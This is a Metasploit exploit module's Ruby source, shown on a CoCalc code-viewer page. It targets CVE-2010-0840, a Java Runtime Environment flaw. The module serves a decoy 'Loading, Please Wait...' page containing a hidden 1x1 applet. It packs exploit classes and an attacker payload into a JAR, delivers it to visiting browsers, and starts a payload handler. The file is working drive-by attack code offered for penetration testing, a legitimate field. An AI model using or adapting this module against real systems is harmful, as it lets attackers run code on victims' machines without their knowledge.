Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/browser/java_trusted_chain.rb
29013 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpServer::HTML
10
11
# Superceded by java_atomicreferencearray
12
# include Msf::Exploit::Remote::BrowserAutopwn
13
# autopwn_info({ :javascript => false })
14
15
def initialize(info = {})
16
super(
17
update_info(
18
info,
19
'Name' => 'Java Statement.invoke() Trusted Method Chain Privilege Escalation',
20
'Description' => %q{
21
This module exploits a vulnerability in Java Runtime Environment
22
that allows an untrusted method to run in a privileged context. The
23
vulnerability affects version 6 prior to update 19 and version 5
24
prior to update 23.
25
},
26
'License' => MSF_LICENSE,
27
'Author' => [
28
'Sami Koivu', # Discovery
29
'Matthias Kaiser', # PoC
30
'egypt' # metasploit module
31
],
32
'References' => [
33
[ 'CVE', '2010-0840' ],
34
[ 'OSVDB', '63483' ],
35
[ 'URL', 'http://slightlyrandombrokenthoughts.blogspot.com/2010/04/java-trusted-method-chaining-cve-2010.html' ],
36
],
37
'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
38
'Targets' => [
39
[
40
'Generic (Java Payload)',
41
{
42
'Arch' => ARCH_JAVA
43
}
44
],
45
[
46
'Windows Universal',
47
{
48
'Arch' => ARCH_X86,
49
'Platform' => 'win'
50
}
51
],
52
[
53
'Linux x86',
54
{
55
'Arch' => ARCH_X86,
56
'Platform' => 'linux'
57
}
58
]
59
],
60
'DefaultTarget' => 0,
61
'DisclosureDate' => '2010-03-31',
62
'Notes' => {
63
'Reliability' => UNKNOWN_RELIABILITY,
64
'Stability' => UNKNOWN_STABILITY,
65
'SideEffects' => UNKNOWN_SIDE_EFFECTS
66
}
67
)
68
)
69
end
70
71
def on_request_uri(cli, request)
72
if !request.uri.match(/\.jar$/i)
73
if !request.uri.match(%r{/$})
74
send_redirect(cli, get_resource + '/', '')
75
return
76
end
77
78
print_status("#{name} handling request")
79
80
send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })
81
return
82
end
83
84
paths = [
85
[ 'vuln', 'Exploit.class' ],
86
[ 'vuln', 'Exploit$1.class' ],
87
[ 'vuln', 'Link.class' ],
88
]
89
90
p = regenerate_payload(cli)
91
92
jar = p.encoded_jar
93
paths.each do |path|
94
1.upto(path.length - 1) do |idx|
95
full = path[0, idx].join('/') + '/'
96
if !(jar.entries.map { |e| e.name }.include?(full))
97
jar.add_file(full, '')
98
end
99
end
100
fd = File.open(File.join(Msf::Config.data_directory, 'exploits', 'cve-2010-0840', path), 'rb')
101
data = fd.read(fd.stat.size)
102
jar.add_file(path.join('/'), data)
103
fd.close
104
end
105
106
print_status('Sending Applet.jar')
107
send_response(cli, jar.pack, { 'Content-Type' => 'application/octet-stream' })
108
109
handler(cli)
110
end
111
112
def generate_html
113
html = '<html><head><title>Loading, Please Wait...</title></head>'
114
html += '<body><center><p>Loading, Please Wait...</p></center>'
115
html += '<applet archive="Exploit.jar" code="vuln.Exploit.class" width="1" height="1">'
116
html += '</applet></body></html>'
117
return html
118
end
119
end
120
121